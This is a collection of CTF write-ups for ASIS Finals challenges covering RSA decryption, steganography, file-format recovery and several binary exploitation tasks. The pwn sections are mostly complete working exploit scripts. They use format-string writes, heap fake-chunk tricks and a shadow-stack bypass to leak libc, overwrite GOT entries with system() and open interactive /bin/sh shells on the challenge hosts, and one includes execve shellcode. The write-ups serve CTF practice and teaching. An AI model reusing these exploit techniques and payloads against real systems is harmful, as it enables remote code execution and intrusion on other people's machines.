I decrypted the cipher using problem source code.
n = 145027482789690990262517750951541446221552255560520228703877313431483316741269117323705124775232890171059397344533125793378274261538984168613648947111600523237940505464340771538677343847823054950559536582762094561232606689017946799356626447164268129816358964385649508992872978250974645830516100018108294421843L
p = 13101261334925358356052012802088920395535884660597547763946806535628065670277915852917356305443939004844164299871676780335359374939404036920480708592902391
q = n / p
c = (84876076421614376067149365902722288787017939432560112310344060253776893355155004799570079133487890091744927361496759572955051910756381500540609425582325044679541917701176783432330786945586473421496533459046926087433374002572145804591821522550941784213497101941864710192882108942428579695906987627994038160506L, 53075793789885196175396474745354653894462035118379186161754018180061911263633656154635135006901226712322309187026865430527729260554951872682683031998933681813562644904853338601687712543027240467179318352856177931746928027694032725413016073749325323908751643659718884095101708806519753380797321211563244283733L)
lcm = (p+1)*(q+1)/GCD(p+1, q+1)
e = 65537
d = invert(e, lcm)
m1, m2 = multiply(c, d, 0, n)
print (m2 - m1) % n
$ python RACES.py
28546845511913542884170840691285182853431327623163885731368073389917041827144834397697372459526329606467276328016917091205512071556156842313300738767612720903858529936066356518246569287711348443640965493313454170382894998221304266880326621776674058
$ irb
irb(main):001:0> 28546845511913542884170840691285182853431327623163885731368073389917041827144834397697372459526329606467276328016917091205512071556156842313300738767612720903858529936066356518246569287711348443640965493313454170382894998221304266880326621776674058
=> 28546845511913542884170840691285182853431327623163885731368073389917041827144834397697372459526329606467276328016917091205512071556156842313300738767612720903858529936066356518246569287711348443640965493313454170382894998221304266880326621776674058 (0x415349537b3538636631303565383939336666383532613765613639633366363436343435386138376336396638396566336466643734396461346532643339383264653334383332653338636162316261663864316364336365306637333235313632397d0a) "ASIS{58cf105e8993ff852a7ea69c3f6464458a87c69f89ef3dfd749da4e2d3982de34832e38cab1baf8d1cd3ce0f73251629}\n"
First we factorize the n of pubkey.pem
using msieve.
The encrypted message has 17376bit. So I create p,q such that the length of n=p*q is about 17376bit.
require 'gmp'
q = GMP::Z(315274063651866931016337573625089033553)
p = GMP::Z(311155972145869391293781528370734636009)
e = GMP::Z(12405943493775545863)
while true
n = p * q
p n.to_s(2).size
if n.to_s(2).size > 15000
break
end
p = (p**2 + q**2).nextprime
q = (2 * p * q).nextprime
e = (e**2).nextprime
end
p([p.to_i.to_s(16), q.to_i.to_s(16), e.to_i.to_s(16)])
Because we don’t know the order of p,q, we created two pattern of p,q. The generated file is result
, result2
.
Then we decrypt the cipher.
#!/usr/bin/python
import gmpy
from Crypto.Util.number import *
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
def ext_rsa_decrypt(p, q, e, msg):
m = msg.decode('base64')
n = p * q
print len(m) * 8
print len(bin(n)) - 2
phi = (p - 1)*(q - 1)
d = inverse(e, phi)
pubkey = RSA.construct((long(n), long(e), long(d), long(p), long(q)))
key = PKCS1_v1_5.new(pubkey)
enc = key.decrypt(m, False)
return enc
p, q, e = eval(open('result2', 'r').read())
p = int(p, 16)
q = int(q, 16)
e = int(e, 16)
g = open('flag.enc', 'r').read()
print (ext_rsa_decrypt(p, q, e, g))
There is a Format String Bug.
root@ubuntu:~/CTF-Writeup/ASIS_FINAL/heapstar/heap_star# ./heapstar
[c]lear the heap
[d]elete the current top-priority string
[i]nsert a new string
[p]eek at the current str
[q]uit
>> i
Data: %p
>> p
0x1>>
This simple heap based FSP.
( http://phrack.org/issues/59/7.html )
Use ebp chain as linked list.
ebp
↓ pointer
old_ebp
↓ pointer
old_old_ebp
We can overwrite old_old_ebp[0] using FSB with old_ebp.
And we can also overwrite old_ebp[0] in the same way, then we can let old_ebp point to old_old_ebp[1].
So we can make arbitrary pointer on the stack.
Arbitrary pointer + FSB = Arbitrary memory write
–> win ( GOT Overwrite printf -> system )
#!/usr/bin/python
# -*- coding: utf-8 -*-
import struct, socket, sys, telnetlib, os, signal, select, time
def sock(remoteip="127.0.0.1", remoteport=1234):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((remoteip, remoteport))
return s, s.makefile('rw', bufsize=0)
def read_until(f, delim='\n'):
data = ''
while not data.endswith(delim):
data += f.read(1)
return data
def shell(s):
t = telnetlib.Telnet()
t.sock = s
t.interact()
def p(s):
return struct.pack('<Q',s)
def u(s):
return struct.unpack('<Q',s)[0]
def clear():
global s,f
read_until(f,'>>')
f.write('c\n')
def mk_ptr(offset1,offset2,victim_address,new_address):
global s,f
clear()
for i in xrange(8):
read_until(f,'>>')
f.write('i\n')
last_byte = victim_address&0xff
if i == 0 and last_byte == 0:
f.write('%'+str(offset1)+'$hhn\n')
else:
f.write('%'+str(last_byte + i)+'c%'+str(offset1)+'$hhn\n')
read_until(f,'>>')
f.write('p\n')
clear()
read_until(f,'>>')
f.write('i\n')
j = int(p(new_address)[i].encode('hex'),16)
if j == 0:
f.write('%'+str(offset2)+'$hhn\n')
else:
f.write('%'+str(j)+'c%'+str(offset2)+'$hhn\n')
read_until(f,'>>')
f.write('p\n')
clear()
#repair offset2
print '[+] repair'
read_until(f,'>>')
f.write('i\n')
last_byte = victim_address&0xff
if last_byte == 0:
f.write('%'+str(offset1)+'$hhn\n')
else:
f.write('%'+str(last_byte)+'c%'+str(offset1)+'$hhn\n')
read_until(f,'>>')
f.write('p\n')
clear()
local = True
libc_start_main_got = 0x603060
isatty_got = 0x603030
if local:
HOST, PORT = "localhost", 4444
libc_start_main_offset = 0x21e50
system_offset = 0x46590
bin_sh_offset = 0x17c8c3
else:
HOST, PORT = "heapstar.asis-ctf.ir", 1337
libc_start_main_offset = 0x20740
system_offset = 0x45380
bin_sh_offset = 0x18c58b
s, f = sock(HOST, PORT)
offset = 8
offset2 = 14
#socat TCP-LISTEN:4444,reuseaddr,fork exec:"./heapstar",pty <-- disable buffering
#stage1 leak stack addr
#raw_input('debug')
read_until(f,'>>')
f.write('i\n')
f.write('%'+str(offset)+'$p\n')
read_until(f,'>>')
f.write('p\n')
read_until(f,'0x')
stack_addr = int('0x'+read_until(f,'>>').replace('>>',''),16)
assert(stack_addr % 16 == 0)
print '[+] Stack Addr:' + hex(stack_addr)
#stageA libc leak
f.write('hoge\n')
#stage2 leak libc_start_main
mk_ptr(offset,offset2,stack_addr+0x30,libc_start_main_got)
read_until(f,'>>')
f.write('i\n')
f.write('%'+str(offset+12)+'$s\n')
read_until(f,'>>')
f.write('p\n')
libc_start_main = u(read_until(f,'>>')[-8:-2]+'\x00\x00') # head 2byte is new line byte (\xa\xd)
print '[+] libc_start_main:' + hex(libc_start_main)
libc_base = libc_start_main - libc_start_main_offset
print '[+] libc base:' + hex(libc_base)
system = libc_base + system_offset
print '[+] system:' + hex(system)
bin_sh = libc_base + bin_sh_offset
print '[+] /bin/sh:' + hex(bin_sh)
f.write('hoge\n')
clear()
#stage4 get shell
printf_got = 0x603048
mk_ptr(offset,offset2,stack_addr+0x30,stack_addr+0x40)
mk_ptr(offset2,offset2+6,stack_addr+0x40,printf_got)
mk_ptr(offset,offset2,stack_addr+0x30,stack_addr+0x50)
mk_ptr(offset2,offset2+6,stack_addr+0x50,printf_got+1)
mk_ptr(offset,offset2,stack_addr+0x30,stack_addr+0x60)
mk_ptr(offset2,offset2+6,stack_addr+0x60,printf_got+2)
read_until(f,'>>')
f.write('i\n')
#offset = 8, 10, 12
raw_input('debug')
f.write('%'+str(system&0xff)+'c%'+str(offset2+8)+'$hhn%'+str((0x100+((system&0xff00)>>8)-(system&0xff))%0x100)+'c%'+str(offset2+10)+'$hhn%'+str((0x100+((system&0xff0000)>>16)-((system&0xff00)>>8))%0x100)+'c%'+str(offset2+12)+'$hhn\n')
read_until(f,'>>')
f.write('p\n')
f.write('i\n')
f.write('/bin/sh\n')
f.write('p\n')
shell(s)
When we logout from this app, notes are saved from heap to “notes.txt”.
Then there is a Format String Bug.
All inputs are on the stack, so we can write any data in arbitrary memory address easily.
So we can overwrite return address.
But this app checks return address integirty, so I overwrite the copy of original return address too.
#!/usr/bin/python
# -*- coding: utf-8 -*-
import struct, socket, sys, telnetlib, os, signal, select, time
from libformatstr import FormatStr
def sock(remoteip="127.0.0.1", remoteport=1234):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((remoteip, remoteport))
return s, s.makefile('rw', bufsize=0)
def read_until(f, delim='\n'):
data = ''
while not data.endswith(delim):
data += f.read(1)
return data
def shell(s):
t = telnetlib.Telnet()
t.sock = s
t.interact()
def p(s):
return struct.pack('<I',s)
def u(s):
return struct.unpack('<I',s)[0]
def split_str(s, n):
length = len(s)
return [s[i:i+n] for i in range(0, length, n)]
local = True
if local:
HOST, PORT = "localhost", 8282
heap_offset = 0x48
else:
HOST, PORT = "alegria.asis-ctf.ir", 8282
heap_offset = 0x58
offset = 285
stack_offset = 0x2c
user = 'hglkajsdlf'
passwd = 'hglkajsdlf'
system_plt = 0x80489f8
s, f = sock(HOST, PORT)
print 'user:passwd need to be created before exploit'
#stage0 create user and clear notes.txt
read_until(f,'>')
f.write('2\n')
read_until(f,'ID:')
f.write(user+'\n')
read_until(f,'PW:')
f.write(passwd+'\n')
read_until(f,'>')
f.write('3\n')
read_until(f,'>')
f.write('4\n')
#stage1 write stack addr into notes.txt
read_until(f,'>')
f.write('2\n')
read_until(f,'ID:')
f.write(user+'\n')
read_until(f,'PW:')
f.write(passwd+'\n')
read_until(f,'>')
f.write('1\n')
read_until(f,'Title length(max: 64):')
f.write('16\n')
read_until(f,'Content length(max: 1024):')
f.write('16\n')
read_until(f,'Title:')
f.write('%'+str(offset)+'$p\n')
read_until(f,'Content:')
f.write('%2$p\n')
read_until(f,'>')
f.write('4\n')
#stage2 leak stack addr
read_until(f,'>')
f.write('2\n')
read_until(f,'ID:')
f.write(user+'\n')
read_until(f,'PW:')
f.write(passwd+'\n')
read_until(f,'>')
f.write('2\n')
read_until(f,'Title:')
ret_addr = int(read_until(f),16) - stack_offset
print '[+] Return Addr: ' + hex(ret_addr)
read_until(f,'Content:')
heap_addr = int(read_until(f),16)&0xfffff000
print '[+] Heap Addr: ' + hex(heap_addr)
shadow_stack_addr = heap_addr + heap_offset
print '[+] Shadow Stack Addr: ' + hex(shadow_stack_addr)
#stage3 overwrite return address and arg1
read_until(f,'>')
f.write('3\n') # clear
read_until(f,'>')
f.write('1\n')
read_until(f,'Title length(max: 64):')
f.write('64\n')
read_until(f,'Content length(max: 1024):')
f.write('400\n')
read_until(f,'Title:')
fs = FormatStr()
fs[shadow_stack_addr] = [system_plt]
buf = fs.payload(259,start_len=0)
f.write(buf+'\n')
read_until(f,'Content:')
fs = FormatStr()
chain = [system_plt,0xdeadbeef,ret_addr+12]
code = '/bin/sh <&4 >&4 2>&4\0\0\0\0'
for st in split_str(code,4):
chain.append(int('0x'+st[::-1].encode('hex'),16))
fs[ret_addr] = chain
buf = fs.payload(3,start_len=0)
f.write(buf+'\n')
f.write('4\n')
shell(s)
First, we figure out two structures, customer_t
and car_t
, in this application.
// definitions of some types
typedef customer_t struct {
char first_name[0x20]; // off_00h
char name[0x20]; // off_20h
char *comment; // off_40h
};
typedef car_t struct {
char model[0x10]; // off_00h
int64_t price; // off_10h
customer_t *customer; // off_18h
};
// .data
size_t car_limit_size = 0x10000; // .data:0x602090
// .bss
size_t car_current_size; // .bss:0x6020c0
car_t *cars[]; // .bss:0x6020c8
Then, we try to cause crash and noticed some points shown below:
customer_t#firstname
and customer_t#name
can violate each buffers close to them off-by-one.
The author calls this technique “Freeing Fakechunk” so we refer such a method to that in this writeup. We can put a well-manipulated chunk on an address like addr&(-0x100)
since we did it.
We show you the flow.
"/bin/sh"
and some padding chars.system()
to invoke a shell.main_arena->fastbinsY[0]
and the comment which includes a fake chunk header.free_perturb
since we invoked a customer at the second time.free()
on .got section, for “TRIGGER”. We can leak it by list command and calculate the libc base address from it.0x32
.main_arena->fastbinsY[0]
car_t *cars
on .bss section.*cars
will point to “fakecars” on the heap.__libc_system
address on free()
's GOT entry.(car_t *)fakecars[0x31]
is pointing to free()
's GOT entry - 0x10.We show an exploit you.
#!/usr/bin/env python2
import binascii
import hashlib
import re
import socket
import string
import struct
import subprocess
import time
import telnetlib
def p(x, t="<Q"): return struct.pack(t, x)
def pl(l): return ''.join(map(p, l))
def u(x, t="<Q"): return struct.unpack(t, x)[0]
def ui(x): return u(p(x, t="<q"), t="<Q")
def hx(b): return binascii.hexlify(b)
def uh(s): return binascii.unhexlify(s)
def a2n(s): return socket.inet_aton(s)
def n2a(s): return socket.inet_ntoa(s)
def read_until(f, delim='\n'):
data = ""
while not data.endswith(delim):
data += f.read(1)
return data
def wn(f, b):
f.write(b+'\n')
def connect(rhp):
I("Connect to %s:%d"%(rhp))
s = socket.create_connection(rhp)
f = s.makefile('rw', bufsize=0)
return s, f
def interact(s):
t = telnetlib.Telnet()
t.sock = s
I('4ll y0U n33D 15 5h3ll!!')
t.interact()
def gen_shellcode(source, bits=64):
source = "".join([
"BITS %d\n"%(bits),
source,
])
filename = hashlib.md5(source).hexdigest()
with open("/tmp/%s.s"%(filename), "wb") as f:
f.write(source)
subprocess.call("nasm /tmp/%s.s -o /tmp/%s"%(filename, filename), shell=True)
with open("/tmp/%s"%filename, "rb") as f:
shellcode = f.read()
return filename, shellcode
def M(prefix, body):
if len(body) == 1:
body = ''.join(body)
elif len(body) == 2:
key, value = body
if value <= 0xffffffff:
value = '0x%08x'%(value)
else:
value = '0x%016x'%(value)
body = '%s: %s'%(key, value)
elif len(body) >= 3:
body = '%s:%s'%(body[0], body[1:])
text = '[{prefix}] {body}'.format(prefix=prefix, body=body)
print text
def W(*body): M('!', body)
def N(*body): M('*', body)
def I(*body): M('+', body)
def D(*body): M('D', repr(body))
def RD(*body): M('D', body)
### user-defined
class IO(object):
def __init__(self, rhp):
self.rhp = rhp
self.s, self.f = connect(self.rhp)
def _read(self, size):
return self.s.recv(size)
def _write(self, buf):
self.s.send(buf)
def write(self, buf, end=''):
self._write(buf+end)
def writeln(self, buf):
self.write(buf, end='\n')
def read_until(self, delim='\n'):
buf = ''
while not buf.endswith(delim):
buf += self._read(1)
return buf
def flush(self):
self.f.flush()
def interact(self):
interact(self.s)
class CarMarketIO(IO):
cars = []
def __init__(self, rhp):
super(CarMarketIO, self).__init__(rhp)
self.read_until('>\n')
def getinfo(self):
for car in self.cars:
print "[*] model: %s"%(car['model'])
print "[*] price: %s"%(car['price'])
def cmd_list(self):
self.writeln('1')
if len(self.cars) == 0:
data = self.read_until()
print '[-] %s'%(data[:-1])
return self.read_until('>\n')
def cmd_add(self, model, price):
self.writeln('2')
self.read_until()
self.writeln(model)
self.read_until()
self.writeln('%d'%(price))
car = {
'model': model,
'price': price,
}
self.cars.append(car)
m, p = car['model'], car['price']
print '[-] Added: model=%s, price=%d'%(repr(m), p)
self.read_until('>\n')
def cmd_remove(self, index):
self.writeln('3')
self.read_until()
self.writeln('%d'%(index))
if len(self.cars) == 0 or not (0 <= index < len(self.cars)):
print '[!] Invalid Index.'
else:
self.read_until()
car = self.cars[index]
m, p = car['model'], car['price']
print '[-] Removed: model=%s, price=%d'%(repr(m), p)
del car
self.read_until('>\n')
def cmd_select(self, index, choice, content=None):
if index < 0 or index >= len(self.cars):
print '[!] Invalid Index.'
return
self.writeln('4')
self.read_until()
self.writeln('%d'%(index))
self.read_until('>\n')
self.writeln('%d'%(choice))
if choice == 1:
pass
elif choice == 2 or choice == 3:
self.read_until()
self.writeln(content)
elif choice == 4:
t, d = int(content[0]), content[1]
self.read_until('>\n')
self.writeln('%d'%(t))
self.read_until(': \n')
self.writeln(d)
self.read_until('>\n')
self.writeln('4')
elif choice == 5:
pass
self.read_until('>\n')
self.writeln('5')
self.read_until('>\n')
def cmd_exit(self):
self.writeln('5')
got = {
'free': 0x602018,
}
bss = {
'fakechunk': 0x6020b8,
'/bin/sh': 0x6020d0,
}
offsets = {
'fakecars': 0x928,
}
if __name__ == '__main__':
if len(subprocess.sys.argv) != 3:
print >> subprocess.sys.stderr, "Usage: %s HOST PORT"%(subprocess.sys.argv[0])
subprocess.sys.exit(1)
host, port = subprocess.sys.argv[1:]
if host in ('localhost', '127.0.0.1'):
offsets['__libc_system'] = 0x000000000003f4d0 #T __libc_system
offsets['__libc_free'] = 0x000000000007b2f0 #T __libc_free
pass
else:
offsets['__libc_system'] = 0x0000000000045380 # T __libc_system
offsets['__libc_free'] = 0x0000000000083a70 # T __libc_free
pass
rhp = (host, int(port))
cmio = CarMarketIO(rhp)
# prepare four chunks
cmio.cmd_add('VICTIM!', 0)
cmio.cmd_add('TRIGGER', 0)
cmio.cmd_add('DUMMY00', 0)
cmio.cmd_add('DUMMY01', 0)
'''
create a fakechunk.
'''
# cmd_select "VICTIM!
# {{{
cmio.writeln('4')
cmio.read_until()
cmio.writeln('0')
cmio.read_until('>\n')
# }}}
# Add a customer to cars[0]
# {{{
cmio.writeln('4')
cmio.read_until('>\n')
# }}}
# Add a comment to cars[0]->customer
# {{{
cmio.writeln('3')
cmio.read_until()
cmio.writeln(''.join((
p(bss['/bin/sh']),
'P'*0x30,
)))
cmio.read_until('>\n')
# }}}
# Add a firstname to cars[0]->customer
# {{{
cmio.writeln('2')
cmio.read_until()
cmio.writeln(''.join((
'P'*0x18,
p(0x31),
)))
cmio.read_until('>\n')
cmio.read_until('>\n')
# }}}
# Add a name to cars[0]->customer, OBO '\0' into &(cars[0]->customer->comment)
# {{{
cmio.writeln('1')
cmio.read_until()
cmio.writeln('X'*0x20)
cmio.read_until('>\n')
cmio.read_until('>\n')
# }}}
# exit from submenus
# {{{
# exit from setting a customer
cmio.writeln('4')
cmio.read_until('>\n')
# exit from setting a car
cmio.writeln('5')
cmio.read_until('>\n')
# }}}
'''
make a fakechunk being free and cordinate a fakechunk again.
'''
# cmd_select "VICTIM!"
# {{{
cmio.writeln('4')
cmio.read_until()
cmio.writeln('0')
cmio.read_until('>\n')
# }}}
# Add a customer to cars[0], it's the trigger.
# {{{
cmio.writeln('4')
cmio.read_until('>\n')
# }}}
# Add a firstname to cars[0]->customer
# {{{
cmio.writeln('2')
cmio.read_until()
cmio.writeln(''.join((
'P'*0x18,
p(0x31),
)).ljust(0x20, '\0'))
cmio.read_until('>\n')
cmio.read_until('>\n')
# }}}
# exit from submenus
# {{{
# exit from setting a customer
cmio.writeln('4')
cmio.read_until('>\n')
# exit from setting a car
cmio.writeln('5')
cmio.read_until('>\n')
# }}}
# invoke a fakechunk as a car.
cmio.cmd_add('FAKECHNK', 0)
# cmd_select 0
# {{{
cmio.writeln('4')
cmio.read_until()
cmio.writeln('0')
cmio.read_until('>\n')
# }}}
# Add a customer to cars[0]
# {{{
cmio.writeln('4')
cmio.read_until('>\n')
# }}}
# Add a name to cars[0]->customer
# {{{
cmio.writeln('1')
cmio.read_until()
cmio.writeln(''.join((
'P'*0x18,
p(got['free']),
)))
cmio.read_until('>\n')
cmio.read_until('>\n')
# }}}
# exit from submenus
# {{{
# exit from setting a customer
cmio.writeln('4')
cmio.read_until('>\n')
# exit from setting a car
cmio.writeln('5')
cmio.read_until('>\n')
# }}}
data = cmio.cmd_list()
r = re.findall(r'Firstname : (.*)\n', data)
if r:
libc_base = u(r[1].ljust(0x8, '\0'))-offsets['__libc_free']
print '[+] libc_base: 0x%08x'%(libc_base)
fakechunk_car_index = len(cmio.cars)-1
# set 0x6020c0 to 0x32
for i in range(6):
cmio.cmd_add('DUMMMY%02d'%(i+2), 0)
cmio.cmd_add('GOTFREE!', got['free']-0x10)
for i in range(7, 0x32-(len(cmio.cars)-1)+6):
cmio.cmd_add('DUMMMY%02d'%(i+1), 0)
# link to fastbin free list
cmio.cmd_remove(len(cmio.cars)-1)
# link to fastbin free list
cmio.cmd_remove(fakechunk_car_index)
data = cmio.cmd_list()
r = re.findall(r'Name : (.*)\n', data)
if r:
heap_base = u(r[0].ljust(0x8, '\0')) - 0x11b0 # offset
print '[+] heap base: 0x%08x'%(heap_base)
# cmd_select "VICTIM!"
# {{{
cmio.writeln('4')
cmio.read_until()
cmio.writeln('0')
cmio.read_until('>\n')
# }}}
# Add a customer to cars[0]
# {{{
cmio.writeln('4')
cmio.read_until('>\n')
# }}}
# Add a name to cars[0]->customer
# {{{
cmio.writeln('1')
cmio.read_until()
cmio.writeln(''.join((
p(bss['fakechunk'])
)))
cmio.read_until('>\n')
# }}}
# exit from setting a customer
# {{{
cmio.writeln('4')
cmio.read_until('>\n')
# }}}
# exit from setting a car
# {{{
cmio.writeln('5')
cmio.read_until('>\n')
# }}}
cmio.cmd_add('DUMMMMMY', 0)
cmio.cmd_add(''.join((
p(heap_base+offsets['fakecars']),
'/bin/sh',
)), (libc_base+offsets['__libc_system'])&0xffffffff)
raw_input('wait')
# Remove trigger to invoke system("/bin/sh")
cmio.cmd_remove(1)
cmio.read_until()
cmio.interact() # You have a shell.
The data format.
Brand Name
Wetness level(int)
Message
Message was shown by printf. So if I can change message, I can do format string attack.
I can change brand name by 0)Change Brand
.
It uses read with strlen.
So if witness level doesn’t have ‘\0’, I can change message from there. Witness level can be negative number. So it’s exploitable.
require 'ctf'
def lpad(str, len)
str += ' ' * ([len - str.size, 0].max)
str[0, len]
end
def format_bug(s, format_str)
s.puts "0"
s.print lpad(lpad("012345678", 16) + format_str, 108)
s.flush
s.puts "2"
s.expect("And now a message from our sponsors:\n")
return s.gets
end
def get_ofs(s, pos)
s.puts "0"
s.print lpad(lpad("012" + [pos].pack("I"), 15) + '%15$sA8NTS', 108)
s.flush
s.puts "2"
s.expect("And now a message from our sponsors:\n")
return s.expect("A8NTS")[0][0..-6]
end
def write_ofs(s, pos, value)
s.puts "0"
s.print lpad(lpad("012" + [pos].pack("I") + [pos + 2].pack("I"), 15) + "%#{value & 65535}c%15$hn%#{((value >> 16) - value) & 65535}c%16$hnA8NTS", 108)
s.flush
s.puts "2"
s.expect("And now a message from our sponsors:\n")
return s.expect("A8NTS")[0][0..-6]
end
PHASE = 2
TCPSocket.open(*ARGV) do |s|
s.echo = true
s.puts 3
257.times do |i|
s.puts "1"
end
# p format_bug(s, '%x,' * 41)
if PHASE == 1
s.echo = false
p [:printf, '%08x' % get_ofs(s, 0x804b00c).unpack("I")]
p [:libc_start_main, '%08x' % get_ofs(s, 0x804b02c).unpack("I")]
p [:puts, '%08x' % get_ofs(s, 0x804b01c).unpack("I")]
elsif PHASE == 2
libc_start_main = 0x00018540
system = 0x0003ad80
system = system - libc_start_main + get_ofs(s, 0x804b02c).unpack("I")[0]
write_ofs s, 0x804b00c, system
s.puts "0"
s.print lpad(lpad("", 15)+ "sh\n", 108)
s.flush
s.puts "2"
end
s.interactive!
end
When this program starts, it makes the shadow stack to prevent return addresses from violating. This shadow stack is made by calling mmap()
syscall. And we noticed things shown below:
Now, we had already known that malloc()
can invoke calling mmap()
and mmapped area can be contiguous to a lastly mmapped area.
An exploit is here.
#!/usr/bin/python
# -*- coding: utf-8 -*-
import struct, socket, sys, telnetlib, os, signal, select, time
def sock(remoteip="127.0.0.1", remoteport=1234):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((remoteip, remoteport))
return s, s.makefile('rw', bufsize=0)
def read_until(f, delim='\n'):
data = ''
while not data.endswith(delim):
data += f.read(1)
return data
def shell(s):
t = telnetlib.Telnet()
t.sock = s
t.interact()
def p(s):
return struct.pack('<I',s)
def u(s):
return struct.unpack('<I',s)[0]
local = False
size = 0x28000
offset = 0x16300
name_addr = 0x804a520
if local:
HOST, PORT = "localhost", 4444
else:
HOST, PORT = "shadow.asis-ctf.ir", 31337
s, f = sock(HOST, PORT)
shellcode = "1\xc9\xf7\xe1Ph//shh/bin\x89\xe3\x04\x0e,\x03\xcd\x80"
print read_until(f,'Hey, what\'s your name?')
f.write(shellcode+'\n')
print read_until(f,'menu? I forgot, bro. can you find it?')
f.write('1\n')
print read_until(f,'description length?')
f.write(str(size)+'\n')
f.write('A'*size)
print read_until(f,'beer uploaded to the memory!')
f.write('2\n')
f.write('0\n')
for i in xrange(offset):
time.sleep(0.000001)
f.write('a\n')
f.write('y\n')
f.write(p(name_addr)*(size/4))
shell(s)
You can use gmp to judge prime or power.
require 'ctf'
require 'gmp'
TCPSocket.open(*ARGV) do |s|
s.echo = true
b = s.expect(/"(.+)"\)/)[1]
sha256 = s.expect(/"(.+)"/)[1]
s.print `echo #{b} #{sha256} | ./a.out`.split[0]
s.flush
while true
s.expect("What's the number of primes or perfect powers like n such that: ")
n_min, _, _, _, n_max = s.gets.split.map(&:to_i)
cnt = 0
(n_min..n_max).each do |n|
if GMP::Z(n).probab_prime? == 1
cnt += 1
elsif GMP::Z(n).power?
cnt += 1
end
end
s.print cnt.to_s + "\n"
s.flush
end
s.interactive!
end
PoW searcher
#include <openssl/sha.h>
#include <cstdio>
#include <cstdlib>
#include <cstring>
unsigned char result[300];
unsigned char sha512[400];
unsigned char sha256[400];
unsigned char temp[256 / 8];
const char chars[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
int to_i(unsigned char t) {
if('0' <= t && t <= '9')
return t - '0';
else if('a' <= t && t <= 'f')
return t - 'a' + 10;
else
return 0;
}
int main() {
scanf("%s", result + 4);
scanf("%s", sha512);
for(int i = 0; i < 64; i += 2) {
temp[i/2] = (16 * to_i(sha512[i])) + (to_i(sha512[i + 1]));
}
int ll = strlen(chars);
for(int i = 0; i < ll; i++) {
result[0] = chars[i];
for(int j = 0; j < ll; j++) {
result[1] = chars[j];
for(int k = 0; k < ll; k++) {
result[2] = chars[k];
for(int l = 0; l < ll; l++) {
result[3] = chars[l];
SHA256(result, 26, sha256);
if(memcmp(sha256, temp, 16) == 0) {
result[4] = 0;
puts((const char*)result);
exit(0);
}
}
}
}
}
puts("NA");
}
Google and npm are friends.
We won.
sh-4.3$ ls
typo.txz_d64b92894e8bc0c3c6830868ecfd0e5efa1d52bd
sh-4.3$ tar Jxf typo.txz_d64b92894e8bc0c3c6830868ecfd0e5efa1d52bd
sh-4.3$ cd typo
sh-4.3$ ls
typo
sh-4.3$ wget "https://www.dropbox.com/s/8tyzf94ps37tzp7/words?dl=0#" -O words
--2016-09-14 20:52:14-- https://www.dropbox.com/s/8tyzf94ps37tzp7/words?dl=0
Resolving www.dropbox.com (www.dropbox.com)... 162.125.80.1
Connecting to www.dropbox.com (www.dropbox.com)|162.125.80.1|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://dl.dropboxusercontent.com/content_link/M8jZJ7QDFQRaG9mx8jdgWL0Fq2Xxck8bYbEmpmebmOKnbUH5lAu6GzlKRy04M6pt/file [following]
--2016-09-14 20:52:15-- https://dl.dropboxusercontent.com/content_link/M8jZJ7QDFQRaG9mx8jdgWL0Fq2Xxck8bYbEmpmebmOKnbUH5lAu6GzlKRy04M6pt/file
Resolving dl.dropboxusercontent.com (dl.dropboxusercontent.com)... 108.160.172.5
Connecting to dl.dropboxusercontent.com (dl.dropboxusercontent.com)|108.160.172.5|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 938848 (917K) [text/plain]
Saving to: ‘words’
words 100%[================================================>] 916.84K 401KB/s in 2.3s
2016-09-14 20:52:18 (401 KB/s) - ‘words’ saved [938848/938848]
sh-4.3$ ls
typo words
sh-4.3$ cp words words.orig
sh-4.3$ patch -p0 < typo
can't find file to patch at input line 3
Perhaps you used the wrong -p or --strip option?
The text leading up to this was:
--------------------------
|--- cbbcded3dc3b61ad50c4e36f79c37084 2016-09-07 09:39:40.000000000 +0430
|+++ 6acaad7ca3a38be5c8a4cfddaa9e6643 2016-09-07 09:39:40.000000000 +0430
--------------------------
File to patch: words
patching file words
sh-4.3$ ls
typo words words.orig
sh-4.3$ sudo npm install -g typo-steganography
(snip)
sh-4.3$ typo --decode -g words.orig words
ASIS{c1c87a491ada5fad4b153f1d98e8e396}
sh-4.3$ exit
exit
The given data looks like database containing some records.
0000000: 0002 5f69 6400 0b00 0000 3031 3938 3335 .._id.....019835
0000010: 3038 3834 0002 666e 616d 6500 0500 0000 0884..fname.....
0000020: 6a75 6e6b 0010 6c65 6e00 0400 0000 0264 junk..len......d
0000030: 6174 0009 0000 0057 4e78 514b 673d 3d00 at.....WNxQKg==.
0000040: 0263 7263 0009 0000 0063 6136 6561 3038 .crc.....ca6ea08
0000050: 3700 1272 6177 003e b33d d48f 4903 0009 7..raw.>.=..I...
0000060: 6d74 696d 6500 6038 b709 d43b 0500 006e mtime.`8...;...n
0000070: 0000 0002 5f69 6400 0b00 0000 3031 3031 ...._id.....0101
0000080: 3839 3431 3536 0002 666e 616d 6500 0500 894156..fname...
0000090: 0000 666c 6167 0010 6c65 6e00 0300 0000 ..flag..len.....
00000a0: 0264 6174 0005 0000 0054 3075 3700 0263 .dat.....T0u7..c
looking carefully the file and expect file format as following.
the length of timestamp is 10bytes, we have no idea because ordinary timestamp is 4 or 8 bytes.
so looking all timestamps and found that meaningful bytes are head 4bytes.
Each record has following columns.
crc is crc32 checksum of decoded dat.
fname
is “flag” or “junk”, and we recovered the data by checking fname
, crc
, mtime
.
run following script and got flag.
import sys
import struct
import zlib
fp = open('./One_Bad_Son')
EOF = 1
records = []
def parse(fp):
delim = fp.read(1)
assert delim == '\x00'
record = {}
while True:
datatype = fp.read(1)
if not datatype:
return EOF
if datatype == '\x02': # str
pass
elif datatype == '\x10': # int
pass
elif datatype == '\x00':
padd = fp.read(1)
assert padd == '\x00', "Incorrect padd: {}".format(repr(padd))
records.append(record)
return 0
elif datatype == '\x09': # time
pass
elif datatype == '\x12': # raw
pass
else:
assert False, "Unknown datatype: {}".format(ord(datatype))
name = fp.read(1)
while name[-1] != '\x00':
name += fp.read(1)
name = name[:-1]
if datatype == '\x02':
data_len = struct.unpack("<I", fp.read(4))[0]
data = fp.read(data_len)
data = data[:-1]
elif datatype == '\x10': # int
